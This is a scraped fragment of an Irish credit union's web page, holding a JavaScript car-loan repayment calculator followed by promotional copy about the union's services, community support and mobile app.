<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderAmountMinus" name="sliderAmountMinus" onclick="javascript: amountDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Amount" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderAmountMinus" name="sliderAmountMinus" onclick="javascript: amountDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Amount"></noscript>
<div id="sliderAmount"><div id="amountSliderHandle" class="ui-slider-handle"></div></div>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderAmountPlus" name="sliderAmountPlus" onclick="javascript: amountIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Amount" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderAmountPlus" name="sliderAmountPlus" onclick="javascript: amountIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Amount"></noscript>
</div>
</div>
<div class="calc_row2 calc_process">
<input type="text" id="term" name="term" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" />
<div class="calc_bar">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term"></noscript>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term"></noscript>
<div id="sliderTerm"></div>
</div>
</div>
</div>
</div>
<div id="Results" class="Results calc_right">
<div class="result_title"><input type="text" id="apr" name="apr" value="7.76% APR" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible"></div>
<ul id="sliderValuesList" name="sliderValuesList">
<li>
<span id="spanWeek" name="spanWeek"><span id="spanWeekText" class="spanTermText">Weekly</span>
<input type="text" name="paymentSliderWeekly" id="paymentSliderWeekly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotal" name="spanWeekTotal"><span id="spanWeekTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalWeekly" name="paymentSliderTotalWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotalInterest" name="spanWeekTotalInterest"><span id="spanWeekInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestWeekly" name="paymentSliderTotalInterestWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="span2Weeks" name="span2Weeks"><span id="span2WeeksText" class="spanTermText">Fortnightly</span>
<input type="text" name="paymentSlider2Weeks" id="paymentSlider2Weeks" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotal" name="span2WeeksTotal"><span id="span2WeeksTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotal2Weeks" name="paymentSliderTotal2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotalInterest" name="span2WeeksTotalInterest"><span id="span2WeeksInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterest2Weeks" name="paymentSliderTotalInterest2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="spanMonth" name="spanMonth"><span id="spanMonthlyText" class="spanTermText">Monthly</span>
<input type="text" name="paymentSliderMonthly" id="paymentSliderMonthly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotal" name="spanMonthTotal"><span id="spanMonthlyTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalMonthly" name="paymentSliderTotalMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotalInterest" name="spanMonthTotalInterest"><span id="spanMonthlyInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestMonthly" name="paymentSliderTotalInterestMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
</ul>
<div id="divSliderApplyButton">
</div>
</div>
<div class="apply-now">
<a id="applylinks" title="Apply Now" href="https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5type=Car Loan&apr=7.76">Apply Now</a>
</div>
<div class="annual_percentage">APR means Annual Percentage Rate. The repayment amount quoted is for illustrative purposes only, to provide you with an overview of the potential cost of borrowing. Restrictions may apply. </div>
</div>
</div>
<input type="hidden" id="aprvals" value="7.76" />
<input type="hidden" id="intervals" value="7.5" />
<script type="text/javascript">
jQuery(document).ready(function () {
//setCookie('loan_name','Car Loan',30);
localStorage.setItem('loan_name', 'Car Loan');
var globalLoanInterestRate = Number(7.5 );
var globalLoanAPR = Number(7.76 );
term_months(Number(1),Number(84 ),Number(48),globalLoanAPR,globalLoanInterestRate);
amount_slide(Number(500),Number(100000 ),Number(12000),globalLoanAPR,globalLoanInterestRate);
calculateSliderValues(globalLoanAPR,globalLoanInterestRate,Number(12000),Number(48));
var urls = "https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5&type="+jQuery('.selectloantype option:selected').text()+"&apr=7.76";
console.log(urls);
jQuery( ".selectloantype" ).change(function() {
ajaxcals(jQuery(".selectloantype").val());
});
});
function ajaxcals(ids){
jQuery.ajax({
url: "https://www.clcu.ie/wp-content/themes/croi-laighean/calculator-ajax.php",
type: "post",
dataType: 'json',
data : {action : 'caldetails',ids:ids,cals:'cals'},
success: function(result){
if(result.sucreg == '1'){
term_months(Number(result.minv_term),Number(result.maxv_term),Number(result.defv_term),Number(result.apr),Number(result.inter));
amount_slide(Number(result.minv_amount),Number(result.maxv_amount),Number(result.defv_amount),Number(result.apr),Number(result.inter));
jQuery("#intervals").val(result.inter);
jQuery("#aprvals").val(result.apr);
jQuery("#apr").val(result.apr+"% APR");
calculateSliderValues(Number(result.apr),Number(result.inter),Number(result.defv_amount),Number(result.defv_term));
localStorage.setItem('loan_name',result.loan_name);
} else {
alert('Something went wrong. Try diffrent!');
}
}
});
}
var intAditionalChargeWeekly = 0;
var intAditionalChargeFortnightly = 0;
var intAditionalChargeFourWeekly = 0;
var intAditionalChargeMonthly = 0;
var intAditionalCharge = intAditionalChargeWeekly
var intRoundingType = 0;
var intAvailableMethods = 3;
function term_months(minv,maxv,defv,apr,inter){
jQuery("#term").val(defv);
jQuery("#sliderTerm").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 1,
value: defv,
slide: function(event, ui) {
jQuery("#term").val(ui.value + " months");
varSliderTermValue = ui.value;
calculateSliderValues(apr,inter,jQuery("#sliderAmount").slider("value"),ui.value);
}
});
}
function amount_slide(minv,maxv,defv,apr,inter){
jQuery("#amount").val("\u20ac" + addThousandCommas(defv.toString(), 'false'));
jQuery("#sliderAmount").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 100,
value: defv,
slide: function(event, ui) {
jQuery("#amount").val("\u20ac" + addThousandCommas(ui.value.toString(), 'false'));
calculateSliderValues(apr,inter,ui.value,jQuery("#sliderTerm").slider("value"));
}
});
}
// Global Variables for the Sliders
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
function calculateSliderValues(apr,inter,varSliderAmountValue,varSliderTermValue) {
if(jQuery(".selectloantype").val() == 7){
if(varSliderTermValue >= 60 && varSliderAmountValue >= 25000){
apr = Number('7.76');
inter = Number('7.5');
}
jQuery("#apr").val(apr+"% APR");
}
calculateSliderInclusive("Weekly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Fortnightly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Monthly",apr,inter,varSliderAmountValue,varSliderTermValue);
}
function calculateSliderInclusive(period,apr,inter,varSliderAmountValue,varSliderTermValue) {
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
var globalLoanInterestRate = inter;
var globalLoanAPR = apr;
blnCalculate = false;
// Calculates the periodic repayment amount
// Get the user's input from the form. Assume it is all valid.
// SLIDER
var principal = parseInt(Number(varSliderAmountValue));
var payments = parseFloat(varSliderTermValue / 12);
var interest;
var time;
var number;
var pperiod;
var principalB = principal;
if (isNaN(varSliderAmountValue)) {
setTimeout('checkPrincipal()', 100);
return false;
}
intrate = globalLoanInterestRate;
var strMonthSingularText = "month";
var strMonthPluralText = "months";
var strYearSingularText = "year";
var strYearPluralText = "years";
if (payments == 1) {
number = " (" + payments + " " + strYearSingularText + ")";
} else if ((payments - Math.floor(payments)) == 0) {
if (payments < 10) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if ((payments >= 10) && (payments < 100)) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 100) {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
} else if (payments < 0.1) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if (payments < 1) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 10) {
number = " (" + payments.toPrecision(4) + " " + strYearPluralText + ")";
} else {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
//alert(varSliderTermValue);
if (period == "Weekly") {
pperiod = "week";
interest = ((intrate / 365.25) * 7) / 100;
time = pperiod + "s";
payments = payments * 52;
} else if(period == "Fortnightly") {
pperiod = "fortnight";
interest = ((intrate / 365.25) * 14) / 100;
time = pperiod + "s";
payments = payments * 26;
} else if(period == "Four Weekly") {
pperiod = "4 weeks";
interest = ((intrate / 365.25) * 28) / 100;
time = "weeks";
payments = payments * 13;
} else if(period == "Monthly") {
//pperiod = "month";
pperiod = strMonthSingularText;
interest = (intrate / 12) / 100;
//interest = ((intrate / 365.25) * 12) / 100;
if (varSliderTermValue == 1) {
time = pperiod;
} else {
//time = pperiod + "s";
time = strMonthPluralText;
}
payments = payments * 12;
}
IR = interest + 1;
IR = Math.pow(IR, payments);
// Now compute the periodic repayment figure
Fig1 = principalB * IR;
Fig2 = IR - 1;
Fig3 = Fig2 / interest;
monthly = Fig1 / Fig3;
// Now compute the periodic repayment figure (irrespective of rpi)
Fig1B = principal * IR;
Fig2B = IR - 1;
Fig3B = Fig2B / interest;
monthlyB = Fig1B / Fig3B;
// Check that the result is a finite number. If so, display the results
if (!isNaN(monthly) &&
(monthly != Number.POSITIVE_INFINITY) &&
(monthly != Number.NEGATIVE_INFINITY)) {
if (Number(intAditionalCharge) > 0) {
finalRepayment = Number(round(monthly)) + Number(intAditionalCharge);
} else {
finalRepayment = round(monthly);
}
// ROUNDING METHOD
if (intRoundingType == 0) {
// Standard rounding, change nothing
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
} else if (intRoundingType == 1) {
// Round up to the nearest unit
finalRepaymentAfterRounding = Math.ceil(finalRepayment);
//finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge));
finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)));
finalInterestAfterRound = Math.ceil(round((monthlyB * payments) - principal));
} else {
// Rounding type not specifiec, use standard
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
}
if(period == "Weekly") {
document.getElementById('paymentSliderWeekly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalWeekly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestWeekly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Fortnightly") {
document.getElementById('paymentSlider2Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal2Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest2Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Four Weekly") {
document.getElementById('paymentSlider4Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal4Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest4Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Monthly") {
document.getElementById('paymentSliderMonthly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalMonthly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestMonthly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
document.getElementById('term').value = varSliderTermValue + " " + time + number;
}
// period,apr,inter,varSliderAmountValue,varSliderTermValue
var urls = "https://social.clcu.ie/website-loan-application/?amount="+varSliderAmountValue+"&term="+varSliderTermValue+"&rate="+inter+"&type="+jQuery('.selectloantype option:selected').text()+"&apr="+apr+"";
//console.log(urls);
jQuery("#applylinks").attr("href",urls);
blnCalculate = true;
}
}
function addThousandCommas(num, hasDecimal) {
// Adds a thousand comma to a number where appropriate
varFinal = Number(num).toFixed(0).toString();
hasDecimal = "false";
varNumLen = varFinal.length;
// Check if there is a decimal place
if (hasDecimal == "true") {
varDecimalAmount = 3;
} else {
varDecimalAmount = 0;
}
// Add first thousand comma
if (varNumLen > (3 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (3 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (3 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add second thousand comma
if (varNumLen > (7 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (7 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (7 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add third thousand comma
if (varNumLen > (11 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (11 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (11 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add fourth thousand comma
if (varNumLen > (15 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (15 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (15 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
return varFinal;
}
function checkPrincipal() {
alert("Please enter an amount that you would like to borrow");
if (document.getElementById('principal') != null) {
document.getElementById('principal').focus();
}
}
function round(x) {
// This simple method rounds a number to two decimal places.
valRounded = Math.round(x * 100) / 100;
valRounded = "" + valRounded + "";
decLoc = valRounded.indexOf(".");
if (decLoc != -1) {
array1 = valRounded.split(".");
if (array1[1].length != 2) {
valRounded = valRounded + "0";
}
} else {
valRounded = valRounded + ".00";
}
return valRounded;
}
function amountDecrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue - 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function amountIncrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue + 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function termDecrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue - 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function termIncrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue + 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function updateValues() {
varSliderAmountValue = jQuery("#sliderAmount").slider("value");
jQuery("#amount").val("\u20ac" + addThousandCommas(varSliderAmountValue.toString(), 'false'));
jQuery("#term").val(jQuery("#sliderTerm").slider("value") + " months");
//changeAPRValue();
calculateSliderValues(Number(jQuery("#aprvals").val()),Number(jQuery("#intervals").val()),jQuery("#sliderAmount").slider("value"),jQuery("#sliderTerm").slider("value"));
}
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
</script>
</div>
<div class="warning_text">
<p><small><strong>Warning: If you do not meet the repayments on your loan, your loan, your account will go into arrears. This may affect your credit rating, which may limit ability to access credit in the future.</strong></small></p>
<p>While every care has been made in the production of this web page, the Credit Union, or any of its staff, cannot be held responsible for any omissions, errors or other mistakes on the site. This calculator is for illustrative purposes only, to give you, the borrower, an overview of the potential cost of borrowing.</p>
<p>Loan amounts and 99% approval rate is based on figures from 2020. Rates are correct as of 1/02/2022 and are subject to change. Croí Laighean Credit Union is regulated by the <a href="http://www.centralbank.ie/" target="_blank" rel="noopener">Central Bank of Ireland</a>.</p>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-2"></div>
<div class="tab-pane fade " id="tab_2" role="tabpanel">
<div class="res-tab " datarowcolor="#009c86" style="background-color:#009c86 " >Our Services</div>
<div class="container">
<div class="service-title-cont">
<div class="services_cont">
<div class="letf-title-cont">
<h3><a href="https://www.clcu.ie/services/" title="Services">Services</a></h3>
</div>
</div>
<div class="service-boxes matchHeight">
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit-union-savings" title="savings" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/savings.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/savings.svg" alt="Credit-union-savings" title="savings"></noscript>
<strong>Savings</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Savings</div>
<div class="history-desc"><p>Lay a solid foundation for your future with our savings schemes:</p>
<ul>
<li>Share Account</li>
<li>Family Account</li>
<li>School Savers</li>
<li>Saving Stamps</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="CLCU-loans" title="loans" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/loans.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/loans.svg" alt="CLCU-loans" title="loans"></noscript>
<strong>Loans</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Loans</div>
<div class="history-desc"><p><strong>Options to suit all needs (99% approval rate)</strong></p>
<ul>
<li>Back to school</li>
<li>Business</li>
<li>Car</li>
<li>Celebrations</li>
<li>Consolidation</li>
<li>Home improvements</li>
<li>Mortgages</li>
<li>& lots more options!</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/credit-union-loan/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union App" title="icons_services_personal_account-green" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_personal_account-green.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_personal_account-green.svg" alt="Credit Union App" title="icons_services_personal_account-green"></noscript>
<strong>Personal Account</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Personal Account</div>
<div class="history-desc"><p>We provide all the benefits of a regular current account, with a more personal approach.</p>
<ul>
<li>Current Account & Mastercard® Debit Card</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croi-Laighean-Insurance" title="Insurance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/Insurance.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/Insurance.svg" alt="Croi-Laighean-Insurance" title="Insurance"></noscript>
<strong>Insurance</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Insurance</div>
<div class="history-desc"><p>Peace of mind with Ireland’s fairest policies, covering Home, Life & Travel Insurance.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/credit-union-insurance/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Foreign Exchange" title="exchange-green" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg" alt="Credit Union Foreign Exchange" title="exchange-green"></noscript>
<strong>Foreign Exchange</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Foreign Exchange</div>
<div class="history-desc"><p>Skip the airport queues and tick off your travel checklist with our commission-free foreign exchange service.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/foreign-currency-services/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Bill Payments" title="icons_services_billpayments-red" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg" alt="Credit Union Bill Payments" title="icons_services_billpayments-red"></noscript>
<strong>Bill Payments</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Bill Payments</div>
<div class="history-desc"><p>Stay on top of your finances by conveniently paying your bills through us.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/bill-payments/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Online Services" title="cu-online" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg" alt="Credit Union Online Services" title="cu-online"></noscript>
<strong>CU Online & CU Mobile App</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">CU Online & CU Mobile App</div>
<div class="history-desc"><p>Your account at your fingertips, <b>24/7 </b></p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/online-mobile-banking/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Community Fund" title="Community Fund" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg" alt="Community Fund" title="Community Fund"></noscript>
<strong>Community Support</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Community Support</div>
<div class="history-desc"><p>Every year, we give back over <b>€50,000</b> to organisations and schools within our local community.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/our-community/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Members Draw" title="members-draw-yellow" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg" alt="Credit Union Members Draw" title="members-draw-yellow"></noscript>
<strong>Members Draw</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Members Draw</div>
<div class="history-desc"><p>We have <b>€20,000</b> to give away every month in our famous draw — will you be one of the lucky members?</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/members-draw/" title="View More">View More</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-3"></div>
<div class="tab-pane fade " id="tab_3" role="tabpanel">
<div class="res-tab " datarowcolor="#0082c2" style="background-color:#0082c2 " >Why Choose Us</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Why Choose Us</h3>
<p>We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time <a href="https://www.clcu.ie/online-mobile-banking/" target="_blank" rel="noopener">online access</a> to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our <a href="https://www.clcu.ie/community-support/" target="_blank" rel="noopener">local community</a> flourish through sponsorship initiatives that support schools, organisations and clubs in your area.</p>
<br>
<h4><b>Over the last 7 years we have donated over €728,000 to the local community</b></h4>
<br>
<center><div class="rll-youtube-player" data-src="https://www.youtube.com/embed/5iTb4SBGwMI" data-id="5iTb4SBGwMI" data-query="" data-alt="YouTube video player"></div><noscript><iframe width="560" height="315" src="https://www.youtube.com/embed/5iTb4SBGwMI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></noscript></center>
</div>
</div>
</div>
</div>
<div id="what-we-do-4"></div>
<div class="tab-pane fade " id="tab_4" role="tabpanel">
<div class="res-tab " datarowcolor="#fab500" style="background-color:#fab500 " >Croí Laighean App</div>
<div class="container">
<div class="croilaighean-title-cont">
<h3>Croí Laighean Mobile App</h3>
<div class="feature_row">
<div class="feature_left">
<p>Get full access to your account with a few simple taps on your smartphone or tablet. It’s never been easier to manage your money on the go, 24/7. Unlock a whole new level of convenience by downloading the Croí Laighean Mobile App today.</p>
<p>This facility is open to all members who have registered for online access. Register for online access <a href="https://secure.clcu.ie/Register" target="_blank" rel="noopener">here</a> or learn how to sign up for our Mobile app <a href="https://www.clcu.ie/online-mobile-banking/">here</a>.</p>
<p><strong>All our benefits at your fingertips</strong></p>
<ul>
<li>Check your account Credit Union balances on the go</li>
<li>Pay your bills</li>
<li>Transfer funds between your own accounts</li>
<li>Transfer funds to non- Credit Union accounts</li>
<li>Secure member login — you’ll have peace of mind knowing your data is fully secure</li>
</ul>
<p><strong>Terms and conditions apply. </strong></p>
<div class="app_icon_feature">
